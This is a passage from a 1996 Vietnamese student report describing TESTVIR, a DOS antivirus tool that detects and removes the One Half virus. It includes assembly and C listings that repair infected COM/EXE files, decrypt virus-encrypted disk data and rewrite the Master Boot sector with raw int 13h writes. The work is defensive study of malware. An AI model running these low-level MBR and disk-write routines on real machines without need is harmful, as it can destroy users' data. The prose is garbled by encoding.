add  dx,40h    ; Offset cua du lieu tra lai cua doan 
dau tien 
add  si,2Ah ; Dia chi doan dau tien 
mov  cx,0Ah ; lap cho 10 doan 

loop_thay_the_file: 
push  cx 
push  dx 
mov  dx,word ptr [si]  ; Vi tri cua doan thay the voi 
file COM 
sub  dx,100h   ; lui lai 100 byte cua dau 
file COM 
xor  cx,cx 
call  dat_tro_file 
pop  dx 
pop  cx 
cmp  ax,1 
je  khong_khoi_phuc_duoc 
push  cx 
mov  cx,0Ah      ; Ghi 10 byte tu DS:DX vao vi tri 
con tro file. 
mov  ah,40h 
int  21h  ; Ghi 10 byte tu DS:DX vao vi tri con 
tro file 
pop  cx 
inc  si 
inc  si 
add  dx,0Ah 
loop  loop_thay_the_file 
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 ; duoi day thay 3 byte dau tien 
xor  cx,cx 
xor  dx,dx 
call  dat_tro_file 
mov  dx,OFFSET buff_temp 
add  dx,10h 
mov  cx,3 
mov  ah,40h 
int  21h 
 ; Duoi day la cat file 
mov  dx,kich_thuoc 
xor  cx,cx 
call  dat_tro_file 
mov  cx,0 
mov  ah,40h 
int  21h 
jmp  khoi_phuc_xong 

khong_khoi_phuc_duoc: 
call  xuong_dong 
mov  dx,OFFSET mess_loi_khoi_phuc 
mov  ah,09h 
int  21h 
jmp  ket_thuc_khoi_phuc 
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khoi_phuc_xong: 
call  xuong_dong 
mov  dx,OFFSET mess_khoi_phuc_xong 
mov  ah,09h 
int  21h 

ket_thuc_khoi_phuc: 
pop  di 
pop  si 
pop  dx 
pop  cx 
pop  bx 
pop  ax 
ret 

khoi_phuc_file_com endp 
 

;********************************* 
 

khoi_phuc_file_exe proc 
push  es 
push  ax 
push  bx 
push  cx 
push  dx 
push  si 
push  di 
mov  dx,kich_thuoc 
add  dx,100h   ; o phan tren kt da tru 100h cua file 
com 
mov  si,OFFSET buff_1C 
mov  ax,word ptr [si+ReloCS] 
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mov  es,ax 
call  xd_vt_file 
call  dat_tro_file    ; Dat tro file ve phan dau cua 
virus 
cmp  ax,1 
je  khong_khoi_phuc_duoc_exe_1 
mov  dx,OFFSET buff_temp    ; buff luu phan dau 
cua virus. 
mov  cx,120h 
mov  ah,3Fh 
int  21h  ; Doc phan dau cua virus oh gom 
120h byte 
jc  khong_khoi_phuc_duoc_exe_1 
cmp  ax,cx 
jb  khong_khoi_phuc_duoc_exe_1 
mov  si,OFFSET buff_temp 
mov  dx,ma_hoa_file 
dec  cx 

loop_giai_ma_exe: 
xor  word ptr [si],dx 
add  dx,tang_ma_hoa_file 
inc  si 
loop  loop_giai_ma_exe 
mov  si,OFFSET buff_temp 
mov  dx,si 
add  dx,40h    ; Offset cua du lieu tra lai cua doan 
dau tien 
add  si,2Ah     ; Dia chi doan dau tien 
mov  cx,0Ah  ; lap cho 10 doan 

loop_thay_the_file_exe: 
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push  cx 
push  dx 
mov  dx,word ptr [si] ; Vi tri cua doan thay the voi 
file EXE 
call  xd_vt_file ; trong modul nay da duoc cong 
them header 
call  dat_tro_file 
pop  dx 
pop  cx 
cmp  ax,1 
je  khong_khoi_phuc_duoc_exe_1 
push  cx 
mov  cx,0Ah  ; Ghi 10 byte tu DS:DX vao vi tri con 
tro file. 
mov  ah,40h 
int  21h       ; Ghi 10 byte tu DS:DX vao vi tri con 
tro file 
pop  cx 
inc  si 
inc  si 
add  dx,0Ah 
loop  loop_thay_the_file_exe 
jmp  xd_exe_header 

khong_khoi_phuc_duoc_exe_1: 
jmp  khong_khoi_phuc_duoc_exe 
 ; Xay dung lai Exe Header 

xd_exe_header: 
mov  si,OFFSET buff_temp 
mov  di,OFFSET buff_1C 
mov  ax,word ptr [si+16h] 
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mov  word ptr [di+ReloCnt],ax ; Lay lai ReloCount 
mov  ax,word ptr [si+1eh] 
mov  word ptr [di+ReloSS],ax ; Lay lai ReloSS 
mov  ax,word ptr [si+20h] 
mov  word ptr [di+ExeSP],ax ; Lay lai ExeSP 
mov  ax,word ptr [si+24h] 
mov  word ptr [di+ExeIP],ax ; Lay lai ExeIP 
mov  ax,word ptr [si+26h] 
mov  word ptr [di+ReloCS],ax ; Lay lai ReloCS 
sub  word ptr [di+PageCnt],7 ; Kich thuoc cua One 
Half  
     ; chiem 7 trang, con thieu 
28h 
add  word ptr [di+PartPag],28h 
cmp  word ptr [di+PartPag],200h 
jb  ghi_exe_header 
sub  word ptr [di+PartPag],200h 
inc  word ptr [di+PageCnt] 

ghi_exe_header: 
xor  cx,cx 
xor  dx,dx 
call  dat_tro_file 
mov  dx,OFFSET buff_1C 
mov  cx,1Ch 
mov  ah,40h 
int  21h 
  ; Duoi day la cat file 
mov  dx,kich_thuoc 
add  dx,100h 
call  xd_vt_file 
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call  dat_tro_file ; Dat tro file ve phan dau cua 
virus 
mov  cx,0 
mov  ah,40h 
int  21h  ; Cat file tai day 
jmp  khoi_phuc_xong_exe 

khong_khoi_phuc_duoc_exe: 
call  xuong_dong 
mov  dx,OFFSET mess_loi_khoi_phuc 
mov  ah,09h 
int  21h 
jmp  ket_thuc_khoi_phuc_exe 

khoi_phuc_xong_exe: 
call  xuong_dong 
mov  dx,OFFSET mess_khoi_phuc_xong 
mov  ah,09h 
int  21h 

ket_thuc_khoi_phuc_exe: 
pop  di 
pop  si 
pop  dx 
pop  cx 
pop  bx 
pop  ax 
pop  es 
ret 

khoi_phuc_file_exe endp 

4. H−íng dÉn sö dông ch−¬ng tr×nh. 
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Modul hÖ thèng ®−îc viÕt b»ng ng«n ng÷ C, modul hÖ thèng 
nµy gäi c¸c modul con ®−îc viÕt trªn ng«n ng÷ Assembler. C¸c 
modul con tËp trung gi¶i quyÕt 3 vÊn ®Ò chÝnh ®· nãi trong phÇn 
thiÕt kÕ ch−¬ng tr×nh lµ: KiÓm tra bé nhí trong, kiÓm tra trªn 
sector khëi ®éng hÖ thèng vµ kiÓm tra trªn file. TÊt c¶ chóng ®−îc 
dÞch vµ liªn kÕt t¹o thµnh file kh¶ thi TESTVIR.EXE. Modul hÖ 
thèng sö dông tham sè trªn dßng lÖnh, tham sè nµy lµ tªn æ ®Üa 
(drive), tªn ®−êng dÉn (path) mµ ch−¬ng tr×nh sÏ kiÓm tra trªn hÖ 
thèng ®−êng dÉn nµy. 

§Ó khëi ®éng ch−¬ng tr×nh, t¹i dÊu mêi hÖ thèng, ®¸nh lÖnh: 

TESTVIR <drive>[path] 

VÝ dô: 

TESTVIR C: 

hoÆc TESTVIR C:\DOS 

NÕu kh«ng t×m thÊy tham sè trªn dßng lÖnh (tøc lµ chØ cã tªn 
ch−¬ng tr×nh, kh«ng cã tªn æ ®Üa vµ ®−êng dÉn), ch−¬ng tr×nh sÏ 
®−a ra mét th«ng b¸o h−íng dÉn c¸ch khëi ®éng ch−¬ng tr×nh nh− 
®· nãi ë trªn. 

Sau khi khëi ®éng, ch−¬ng tr×nh sÏ tuÇn tù tiÕn hµnh c¸c c«ng 
viÖc sau ®©y: 

- KiÓm tra bé nhí trong: §Çu tiªn, ch−¬ng tr×nh sÏ t×m file 
VMEM.DAT. NÕu kh«ng t×m ®−îc file trªn ®Üa sÏ th«ng b¸o 
kh«ng t×m ®−îc file d÷ liÖu nµy vµ sÏ ng¾t toµn bé ch−¬ng tr×nh. 
Trong tr−êng hîp t×m ®−îc file sÏ so s¸nh ®èi chiÕu c¸c m· nhËn 
biÕt virus trong file VMEM.DAT víi bé nhí trong. NÕu t×m thÊy 
m· cña virus nµo ®ã, sÏ th«ng b¸o sù cã mÆt cña virus ®ã trong bé 
nhí vµ còng sÏ ng¾t toµn bé ch−¬ng tr×nh, cßn nÕu kh«ng t×m 
®−îc sÏ tiÕp tôc so s¸nh ®èi chiÕu tæng dung l−îng bé nhí (t¹i 
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0:413h) vµ ®Þa chØ cña ng¾t 21h (t¹i 0:84h). NÕu bé nhí kh«ng ®ñ 
640K hoÆc ®Þa chØ cña ng¾t 21h bÞ sai, ch−¬ng tr×nh sÏ ®−a ra 
th«ng b¸o vµ hái ng−êi sö dông xem cã tiÕp tôc hay kh«ng (chän 
Y ®Ó tiÕp tôc, chän N ®Ó kh«ng tiÕp tôc). NÕu kh«ng tiÕp tôc n÷a, 
hÖ thèng ch−¬ng tr×nh sÏ ng¾t, cßn nÕu tiÕp tôc, sÏ chuyÓn sang 
c«ng viÖc tiÕp theo.  

- KiÓm tra Master Boot (MB): Ch−¬ng tr×nh sÏ tiÕn hµnh ®äc 
MB trªn ®Üa cÇn kiÓm tra vµ so s¸nh víi MB chuÈn, trong tr−êng 
hîp trïng nhau, th× ch−¬ng tr×nh sÏ th«ng b¸o "Master Boot OK!" 
vµ sÏ tiÕp tôc c«ng viÖc tiÕp theo. 

Trong tr−êng hîp kh«ng trïng nhau, ch−¬ng tr×nh sÏ t×m file 
m· nhËn biÕt virus (VMB.DAT) ®Ó ®èi chiÕu. NÕu kh«ng t×m thÊy 
file, sÏ th«ng b¸o vµ ng¾t hÖ thèng, trong tr−êng hîp t×m thÊy file 
sÏ tiÕn hµnh ®èi chiÕu. NÕu t×m thÊy m· nhËn biÕt cña virus nµo 
®ã trong MB, hÖ thèng sÏ hái ng−êi sö dông xem cã kh«i phôc 
MB hay kh«ng (chän Y hoÆc N nh− trªn), nÕu kh«ng kh«i phôc, 
c«ng viÖc tiÕp theo ®−îc tiÕn hµnh, cßn nÕu kh«i phôc, ch−¬ng 
tr×nh sÏ c¨n cø vµo th«ng tin vÒ virus nµy ®Ó kh«i phôc l¹i MB cò 
tr−íc khi bÞ virus ®ã l©y nhiÔm. Sau khi kh«i phôc xong, quay trë 
l¹i ®Ó kiÓm tra chÝnh MB võa kh«i phôc. Trong tr−êng hîp MB 
kh«ng chuÈn, nh−ng kh«ng ph¸t hiÖn ®−îc m· nhËn biÕt cña 
virus, ch−¬ng tr×nh sÏ hái ng−êi sö dông xem cã ®Ì mét MB 
chuÈn lªn vÞ trÝ cña MB kh«ng (chän Y hoÆc N nh− trªn). NÕu 
ng−êi sö dông ®ång ý, mét b¶n MB chuÈn ®−îc ®Ì vµo vÞ trÝ cña 
MB, cßn nÕu kh«ng ®ång ý, th× sÏ bá qua vµ tiÕp tôc c«ng viÖc 
sau. 

- KiÓm tra file: Theo ®−êng dÉn ®−îc chØ ra, file sÏ ®−îc 
kiÓm tra. NÕu ph¸t hiÖn ®−îc virus, ch−¬ng tr×nh sÏ hái ng−êi sö 
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dông xem cã kh«i phôc file bÞ nhiÔm ®ã kh«ng (chän Y hoÆc N). 
NÕu ®ång ý, file bÞ nhiÔm sÏ ®−îc kh«i phôc. 

Sau toµn bé qu¸ tr×nh kiÓm tra, ch−¬ng tr×nh sÏ hiÓn thÞ trªn 
mµn h×nh c¸c th«ng tin tãm l−îc trong qu¸ tr×nh kiÓm tra nh− t×nh 
tr¹ng MB, sè l−îng file ®· kiÓm tra, sè l−îng file bÞ l©y nhiÔm vµ 
sè l−îng file ®· kh«i phôc. 

5. NhËn xÐt, kÕt luËn. 

Ch−¬ng tr×nh ®−îc viÕt hiÖn nay chñ yÕu xö lý ®èi víi virus 
One Half, song ®−îc thiÕt kÕ víi tÝnh më. C¸c m· nhËn biÕt c¸c 
virus míi sau khi ®−îc nghiªn cøu, cËp nhËt m· nhËn biÕt vµo c¸c 
file m· nhËn biÕt th× ch−¬ng tr×nh còng sÏ diÖt vµ kh«i phôc ®èi 
víi lo¹i virus ®ã. 

So víi c¸c ch−¬ng tr×nh hiÖn nay nhËn biÕt ®−îc virus One 
Half, mét sè ch−¬ng tr×nh mÆc dï ph¸t hiÖn ®−îc song ch−a tiªu 
diÖt vµ kh«i phôc ®−îc trªn c¶ MB vµ file, mét ®iÒu quan träng 
kh¸c lµ hÇu hÕt ®Òu ch−a ®Æt vÊn ®Ò ®Õn viÖc gi¶i m· l¹i c¸c d÷ 
liÖu trªn ®Üa ®· bÞ virus One Half m· ho¸, nghÜa lµ ®èi víi Master 
Boot, míi chØ ®Æt vÊn ®Ò chuyÓn tr¶ l¹i Master Boot cò tr−íc khi 
One Half l©y nhiÔm vÒ vÞ trÝ cò cña nã trªn ®Üa. Ch−¬ng tr×nh trªn 
®å ¸n nµy ®· cè g¾ng xem xÐt ®Õn mäi khÝa c¹nh ho¹t ®éng cña 
One Half, trªn c¬ së ®ã cè g¾ng gi¶i quyÕt mäi vÊn ®Ò trªn Master 
Boot, trªn file còng nh− gi¶i m· phÇn th«ng tin ®· bÞ One Half m· 
ho¸ trªn ®Üa. 

MÆc dï ®· cã cè g¾ng, song ch−¬ng tr×nh lµ b¶n ®Çu tiªn, 
kinh nghiÖm thùc tÕ ch−a nhiÒu, kh«ng tr¸nh khái nh÷ng h¹n chÕ 
nhÊt ®Þnh. Nh÷ng h¹n chÕ nµy sÏ dÇn ®−îc kh¾c phôc trong c¸c 
version sau nµy. 
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 Phô lôc. 

liÖt kª ch−¬ng tr×nh nguån 

File 1: Testvir.C 
#include <stdio.h> 
#include <dos.h> 
#include <conio.h> 
#include <alloc.h> 
#include <string.h> 
#include <stdlib.h> 
 
extern int test_mem(void); 
extern int test_vir_mem(void); 
extern int test_vir_mb(void); 
extern int khoi_phuc_mb(void); 
extern int giai_ma_oh(void); 
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extern int de_mb_chuan(void); 
extern int test_file(void); 
extern int save_screen(void); 
extern int store_screen(void); 
 
char far * buff_track; 
char mota[80], duongdan[80], tenfile[80]; 
 
/*--------------------*/ 
 
int main(int argc, char *argv[]) 
{ 
 int gttest_mem,gttest_vmem; 
 int gttest_vmb; 
 int loop=1; 
 char *doi,cont; 
 int i=0; 
 textbackground(1); 
 textcolor(15); 
 clrscr(); 
 trinh_bay(); 
 if(argc==1) { 
  huongdan(); 
  return 0; 
 } 
 doi=strupr(argv[1]); 
 while (*doi!='\0') { 
  mota[i]=duongdan[i]=tenfile[i]=*doi; 
  doi++; 
  i++; 
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 } 
 if(mota[i-1]!='\\') { 
  duongdan[i]=tenfile[i]=mota[i]='\\'; i++; 
 } 
 duongdan[i]=tenfile[i]='\0'; 
 mota[i] = '*'; 
 mota[i+1] = '.'; 
 mota[i+2] = '*'; 
 mota[i+3] = '\0'; 
 
 gttest_vmem=test_vir_mem(); 
 if(gttest_vmem==1 || gttest_vmem==3) return 1; 
 else { 
  gttest_mem=test_mem(); 
  switch(gttest_mem) { 
   case 1: 
    cont=f_message(1," Vung nho khong du 640K 
!", 
       " Co tiep tuc khong <Y/N>? "); 
    break; 
   case 2: 
    cont=f_message(1," Dia chi Int21h sai !", 
      "Co tiep tuc khong <Y/N> ? "); 
    break; 
   case 3: 
    cont=f_message(1,"Vung nho khong du 640K va 

dia chi Int21h bi sai!", "\n Co tiep tuc 
khong <Y/N> ? "); 

    break; 
   default: 
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    f_message(0,"Kiem tra thay Memory tot!", 
    "Press any key to continue"); 
    cont='Y'; 
  } 
  if(cont=='N'||cont=='n') return 1; 
 } 
 
 do { 
  gttest_vmb=test_vir_mb(); 
  switch(gttest_vmb) { 
  case 1: /* Phat hien ra VR */ 
   cont=f_message(1,"Master Boot nhiem virus One 

Half", "Co giai ma phan thong tin bi virus OH ma 
hoa khong <Y/N> ? "); 

    if(cont=='Y' || cont=='y') { 
    printf("\n Giai ma thong tin tren dia : \n"); 
    buff_track=(char *)malloc(32256); /*63 sector*/ 
    if(buff_track==NULL) exit(1); 
    giai_ma_oh(); 
    free((void *)buff_track); 
    } 
   cont=f_message(1,"","Co khoi phuc Master Boot khong 
<Y/N> ?"); 
    if(cont=='Y'||cont=='y') { 
     khoi_phuc_mb(); 
     loop=1; 
    } 
    else loop=0; 
    break; 
  case 2: /* Not OK song khong phat hien ra VR*/ 
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    cont=f_message(1,"Master Boot khong chuan,", 
     "Co de Master Boot chuan khong <Y/N> ? 
"); 
    if(cont==1) { 
    de_mb_chuan(); 
    printf("\n Da khoi phuc xong Master Boot\n\n"); 
    } 
    loop=0; 
    break; 
  case 3: 
    f_message(0,"Loi doc dia","Press any key to 
continue..."); 
    return 1; 
  default: 
    f_message(0,"Master Boot OK!", 
      "Press any key to continue..."); 
    printf("\n Master Boot OK \n\n"); 
    loop=0; 
  } 
 } while (loop>0); 
 printf(" Test File \n\n"); 
 test_file(); 
 return 0; 
} 
/*---------------------------*/ 
 
f_message(int ques, char *mess1, char *mess2) 
{ 
  int length,left,top,right,bottom,space=10; 
  int row_cursor,column_cursor; 



 
www.nhipsongcongnghe.net 

 
152/233 

  char ch; 
  int l1,l2; 
  save_screen(); 
  column_cursor=wherex(); 
  row_cursor=wherey(); 
  l1=strlen(mess1); 
  l2=strlen(mess2); 
  length=l1; 
  if(length<l2) length=l2; 
  length+=space; 
 
  left=(80-length)/2; 
  top=11; 
  right=left+length-1; 
  bottom=14; 
  window(left,top,right,bottom); 
  textbackground(MAGENTA); 
  clrscr(); 
 
  gotoxy((length-l1)/2,2); 
  puts(mess1); 
  gotoxy((length-l2)/2,3); 
  puts(mess2); 
  if(ques==1) 
  while(1) { 
   ch=getch(); 
   if(ch=='Y'||ch=='y'||ch=='N'||ch=='n') break; 
  } 
  else 
  ch=getch(); 
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  store_screen(); 
  window(1,1,80,25); 
  gotoxy(column_cursor,row_cursor); 
  return ch; 
} 
 
/*--------------------------------*/ 
int huongdan() 
{ 
 printf("\n Command:"); 
 printf("\n Testvir <drive:>[path]"); 
 printf("\n For example:"); 
 printf("\n Testvir C:"); 
 printf("\n Testvir C:\\DOS"); 
 return 1; 
} 
/*---------------------*/ 
int trinh_bay() 
{ 
  printf("\n TESTVIR Ver 1.0 04.1996"); 
  printf("\n Copyright by Nguyen The Hong Luc - DHBK Ha 
noi"); 
  printf("\n -----------------------------------------------"); 
  return 1; 
} 
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File 2: testmem.asm 
.model small 
.data 

 
 int21_620  dw 40F8h 
  dw 0019h 
 adr_int21  equ 084h 
 
 int13_620  dw 0774h 
  dw 0070h 
 adr_int13  equ 04Ch 
 
 adr_totalmem  equ 0413h 
 
 vir_mem  db 19h dup(0) 
 
 file_vmem  db 'VMEM.DAT',0 
 

 message_read_file_error  db 'File VMEM.DAT not 
found!$' 

 message_lost_mem  db 'Vung nho dos DOS quan ly 
khong du 640 KB $' 

 message_error_ver  db 'Khong kiem tra duoc dia chi 
ngat 21h ung voi ver nay$' 

 message_error_ver1  db 'Hay khoi dong bang dia kiem 
tra nay (dos 6.20) roi testvir$' 

 message_press_any_key  db 'An phim bat ky de tiep 
tuc...$' 

 message_virus_in_mem  db 'Trong memory co virus : $' 
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.code 
 
 extrn xuong_dong : proc 
 extrn write_screen : proc 
 extrn press_any_key : proc 
 extrn hoi : proc 
 

public _test_mem 
_test_mem proc 

 push  es 
 push  ds 
 mov  ax,@data 
 mov  ds,ax 
 xor  ax,ax 
 mov  es,ax ; es=0 
 push  ax 
 mov  bx,adr_totalmem 
 mov  ax,es:[bx] 
 cmp  ax,0280h ; Co du 640K hay khong 
 pop  ax 
 jz  test_int ; Neu du thi test_interupt 
 mov  dx,OFFSET message_lost_mem 
 call  write_screen 
 call  xuong_dong 
 mov  ax,1 
; jmp vir_in_memory 

test_int: 
; mov  bx,adr_int13 
; les  ax,es:[bx] ; ax=offset_int13, es=seg_int13 
; cmp  ax,off_int13 
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; jnz  vir_in_memory 
; mov  ax,es 
; cmp  ax,seg_int13 
; jnz  vir_in_memory 
 push  ax 
 mov  ah,30h 
 int  21h 

ver_620: 
 cmp  ax,1406h ; DOS 6.20 
 jnz  ver_other 
 mov  dx,OFFSET int21_620 
 jmp  continue 

ver_other: 
 mov  dx,OFFSET message_error_ver 
 call  write_screen 
 call  xuong_dong 
 mov  dx,OFFSET message_press_any_key 
 call  write_screen 
 call  xuong_dong 
 call  press_any_key 
 mov  ax,0FFFFh 
 push  ax 
 mov  ax,0 
 push  ax 
 retf 

continue: 
 xor  ax,ax 
 mov  es,ax 
 mov  bx,OFFSET adr_int21 
 les  ax,es:[bx] 
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 mov  bx,dx 
 cmp  ax,word ptr [bx] 
 jnz  error_int21 
 mov  ax,es 
 cmp  ax,word ptr [bx+2] 
 jnz  error_int21 
 pop  ax 
 jmp  test_end 

error_int21: 
 pop  ax 
 add  ax,2 

test_end: 
 pop  ds 
 pop  es 
 ret 

_test_mem endp 
 

public _test_vir_mem 
_test_vir_mem proc 

 push  ds 
 push  es 
 mov  dx,OFFSET file_vmem 
 mov  ax,3D00h 
 int  21h ; Mo file_vmb de doc, handle dat o AX 
 jc  loi_doc_file 
 mov  bx,ax 

read_vir: 
 mov  ah,3Fh 
 mov  dx,OFFSET vir_mem 
 mov  cx,19h ; moi lan doc 25 byte 
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 int  21h 
 cmp  ax,cx 
 jb  het_file 
 mov  si,OFFSET vir_mem 
 mov  ax,word ptr [si] ; Segment cua virus trong bo 
nho 
 mov  es,ax 
 mov  ax,word ptr [si+2] ; Offset cua virus trong bo 
nho 
 mov  di,ax 
 mov  cl,byte ptr [si+4] 
 xor  ch,ch 
 add  si,5 
 cld 
 repe  cmpsb 
 jne  read_vir 
 call  xuong_dong 
 mov  dx,OFFSET message_virus_in_mem 
 call  write_screen 
 mov  dx,OFFSET vir_mem 
 add  dx,0Fh 
 call  write_screen 
 call  xuong_dong 
 mov  ax,1 
 jmp  d_file 

het_file: 
 mov  ax,2 

d_file: 
 push  ax 
 mov  ah,3Eh ; Dong file, handle o BX 



 
www.nhipsongcongnghe.net 

 
159/233 

 int  21h 
 pop  ax 
 jmp  kt_kiem_tra 

loi_doc_file: 
 mov  dx,OFFSET message_read_file_error 
 call  write_screen 
 call  xuong_dong 
 mov  ax,3 

kt_kiem_tra: 
 pop  es 
 pop  ds 
 ret 

_test_vir_mem endp 
 

;--------------------------------- 
 

end  
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File 3: testmast.asm 
.model small 
.data 
mb_chuan  db 0FAh, 033h, 0C0h, 08Eh, 0D0h, 0BCh, 000h, 
07Ch 

  db 08Bh, 0F4h, 050h, 007h, 050h, 01Fh, 0FBh, 
0FCh 
 db 0BFh, 000h, 006h, 0B9h, 000h, 001h, 0F2h, 
0A5h 
  db 0EAh, 01Dh, 006h, 000h, 000h, 0BEh, 0BEh, 
007h 
  db 0B3h, 004h, 080h, 03Ch, 080h, 074h, 00Eh, 
080h 
  db 03Ch, 000h, 075h, 01Ch, 083h, 0C6h, 010h, 
0FEh 
 db 0CBh, 075h, 0EFh, 0CDh, 018h, 08Bh, 014h, 
08Bh 
 db 04Ch, 002h, 08Bh, 0EEh, 083h, 0C6h, 010h, 
0FEh 
 db 0CBh, 074h, 01Ah, 080h, 03Ch, 000h, 074h, 
0F4h 
 db 0BEh, 08Bh, 006h, 0ACh, 03Ch, 000h, 074h, 
00Bh 
 db 056h, 0BBh, 007h, 000h, 0B4h, 00Eh, 0CDh, 
010h 
 db 05Eh, 0EBh, 0F0h, 0EBh, 0FEh, 0BFh, 005h, 
000h 
 db 0BBh, 000h, 07Ch, 0B8h, 001h, 002h, 057h, 
0CDh 
 db 013h, 05Fh, 073h, 00Ch, 033h, 0C0h, 0CDh, 
013h 



 
www.nhipsongcongnghe.net 

 
161/233 

 db 04Fh, 075h, 0EDh, 0BEh, 0A3h, 006h, 0EBh, 
0D3h 
 db 0BEh, 0C2h, 006h, 0BFh, 0FEh, 07Dh, 081h, 
03Dh 
 db 055h, 0AAh, 075h, 0C7h, 08Bh, 0F5h, 0EAh, 
000h 
 db 07Ch, 000h, 000h, 049h, 06Eh, 076h, 061h, 
06Ch 
 db 069h, 064h, 020h, 070h, 061h, 072h, 074h, 
069h 
 db 074h, 069h, 06Fh, 06Eh, 020h, 074h, 061h, 
062h 
 db 06Ch, 065h, 000h, 045h, 072h, 072h, 06Fh, 
072h 
 db 020h, 06Ch, 06Fh, 061h, 064h, 069h, 06Eh, 
067h 
 db 020h, 06Fh, 070h, 065h, 072h, 061h, 074h, 
069h 
 db 06Eh, 067h, 020h, 073h, 079h, 073h, 074h, 
065h 
 db 06Dh, 000h, 04Dh, 069h, 073h, 073h, 069h, 
06Eh 
 db 067h, 020h, 06Fh, 070h, 065h, 072h, 061h, 
074h 
 db 069h, 06Eh, 067h, 020h, 073h, 079h, 073h, 
074h 
 db 065h, 06Dh 
 
extrn _buff_track : dword 
file_vmb  db 'VMB.DAT',0 
mb_ktra  db 200h dup(0)  ; Buffer Master Boot kiem 
tra 
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buff_temp  db 200h dup(0)    ; Chua cac sector tam thoi 
kt_ss  db 0DAh   ; Kich thuoc phan dau Master Boot 
de so sanh 
buff_vir  db 1Ah dup(0)     ; Buffer luu ma nhan biet 
cua mot virus 
value_xor  dw 0 
 
mess_read_file_error  db 'File VMB.DAT not found!$' 
mess1  db 'Trong Master Boot da tim thay 
virus : $' 
mess_loi_dia  db 'Error reading hard disk $' 
mess_loi_khoi_phuc  db 'Khong khoi phuc duoc!$' 
mess_loi_partition  db 'Partition bi loi! Khong khoi phuc 
duoc! $' 
mess_giaima1  db 'Giai ma cac Cylinder tu : $' 
mess_giaima2  db ' den : $' 
mess_vitri_giaima1  db 'Dang giai ma Cylinder : $' 
mess_giai_ma_xong  db 'Da giai ma xong!$' 
mess_vitri_giaima2  db ' Header : $' 
space  db '                        $' 
 

.code 
 
 extrn xuong_dong  : proc 
 extrn ve_dau_dong  : proc 
 extrn write_screen  : proc 
 extrn press_any_key  : proc 
 extrn hoi  : proc 
 extrn write_hex_to_dec  : proc 
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public _test_vir_mb 
_test_vir_mb proc 

 ;Gia tri cua ham: 0 : MasterBoot OK 
 ; 1 : Phat hien ra VIR 
 ; 2 : Master Boot la song khong phat hien ra VIR 
 ; 3 : Loi doc dia hoac file VMB.DAT 
 push  es 
 push  ds 
 push  si 
 push  di 
 mov  ax,@data 
 mov  ds,ax 
 mov  es,ax 
 lea  bx,mb_ktra 
 mov  dx,80h 
 mov  cx,1 
 mov  ax,0201h 
 int  13h 
 jc  error_reading 
 lea  si,mb_chuan 
 lea  di,mb_ktra 
 mov  cl,kt_ss 
 xor  ch,ch 
 cld 
 repe  cmpsb 
 je  mb_ok 
 call  test_mb_dat  ; ktra mb_ktra voi mb.dat 
 cmp  ax,1   ; ax = 1 : phat hien duoc, ax= 2 
khong 
     ; ax=3 : Loi doc file VMB.DAT 
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 je  vir_in_mb 
 jmp  ketthuc 

vir_in_mb: 
 call  xuong_dong 
 mov  dx,OFFSET mess1 
 call  write_screen 
 mov  dx,OFFSET buff_vir 
 add  dx,10h ; Hien thi ten virus 
 call  write_screen 
 mov  ax,1 
 jmp  ketthuc 

mb_ok: 
 mov  ax,0 
 jmp  ketthuc 

error_reading: 
 mov  dx,OFFSET mess_loi_dia 
 call  write_screen 
 mov  ax,3 

ketthuc: 
 pop  di 
 pop  si 
 pop  ds 
 pop  es 
 ret 

_test_vir_mb endp 
 

test_mb_dat proc 
 ; So sanh file VMB.DAT voi mb_kiemtra, neu co tra lai 
ax=1 
 ; nguoc lai khong tim thay tra lai ax=2, ax=3 neu co loi 
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 ; doc file MB.DAT 
 push  ds 
 push  es 
 push  si 
 push  di 
 mov  ax,@data 
 mov  ds,ax 
 mov  es,ax 
 mov  dx,OFFSET file_vmb 
 mov  ax,3D00h 
 int  21h  ; Mo file_vmb de doc, handle dat o 
AX 
 jc  loi_doc_file 
 mov  bx,ax 

read_vir: 
 mov  ah,3Fh 
 mov  dx,OFFSET buff_vir 
 mov  cx,1Ah   ; moi lan doc 26 byte 
 int  21h 
 cmp  ax,cx 
 jb  het_file 
 mov  si,OFFSET buff_vir 
 mov  di,OFFSET mb_ktra 
 add  di,[si]   ; Dat DI toi offset can so sanh 
 mov  cl,byte ptr [si+2] 
 xor  ch,ch   ; cx luu so byte can so sanh 
 add  si,3   ; si tro toi offset codevir 
 cld 
 repe  cmpsb 
 jne  read_vir 



 
www.nhipsongcongnghe.net 

 
166/233 

 mov  ax,1 
 jmp  d_file 

het_file: 
 mov  ax,2 

d_file: 
 push  ax 
 mov  ah,3Eh   ; Dong file, handle o BX 
 int  21h 
 pop  ax 
 jmp  kt_kiem_tra 

loi_doc_file: 
 mov  dx,OFFSET mess_read_file_error 
 mov  ah,09h 
 int  21h 
 mov  ax,3 

kt_kiem_tra: 
 pop  di 
 pop  si 
 pop  es 
 pop  ds 
 ret 

test_mb_dat endp 
 

public _khoi_phuc_mb 
_khoi_phuc_mb proc 

 push  es 
 push  ds 
 push  si 
 push  di 
 mov  ax,@data 
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 mov  ds,ax 
 mov  es,ax 
 mov  dl,80h 
 mov  ah,08h 
 int  13h  ; Lay tham so o dia: dh:side, ch-
cl:Cyl-Sec 
 jc  loi_dia 
 mov  al,cl 
 and  al,3Fh  ; Total sector/track 
 mov  si,OFFSET buff_vir 
 add  si,0Dh 
 mov  ch,byte ptr [si+1] 
 mov  cl,byte ptr [si+2] 
 mov  dl,cl 
 and  dl,3Fh  ; So sector bi lui 
 sub  al,dl  ; al luu sector number cat giu 
 and  cx,0FFC0h 
 or  cl,al 
 mov  dh,byte ptr [si] 
 mov  bx,OFFSET mb_ktra 
 mov  dl,80h 
 mov  ax,0201h 
 push  ax 
 int  13h 
 pop  ax 
 jc  loi_khoi_phuc 
 mov  dx,80h 
 mov  cx,0001h 
 inc  ah 
 push  ax 
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 int  13h 
 pop  ax 
 jc  loi_khoi_phuc 
 mov  ax,0 
 jmp  kt_khoi_phuc 

loi_dia: 
 mov  dx,OFFSET mess_loi_dia 
 call  write_screen 
 mov  ax,2 
 jmp  kt_khoi_phuc 

loi_khoi_phuc: 
 mov  dx,OFFSET mess_loi_khoi_phuc 
 call  write_screen 
 mov  ax,1 

kt_khoi_phuc: 
 pop  di 
 pop  si 
 pop  ds 
 pop  es 
 ret 

_khoi_phuc_mb endp 
 

public _de_mb_chuan 
; Giu nguyen phan tham so (bat dau tu 01BE), chuyen 
phan ma cua 
; Master Boot chuan vao phan dau cua Master Boot 
sector. 

_de_mb_chuan proc 
 push  ds 
 push  es 
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 push  si 
 push  di 
 mov  ax,@data 
 mov  ds,ax 
 mov  es,ax 
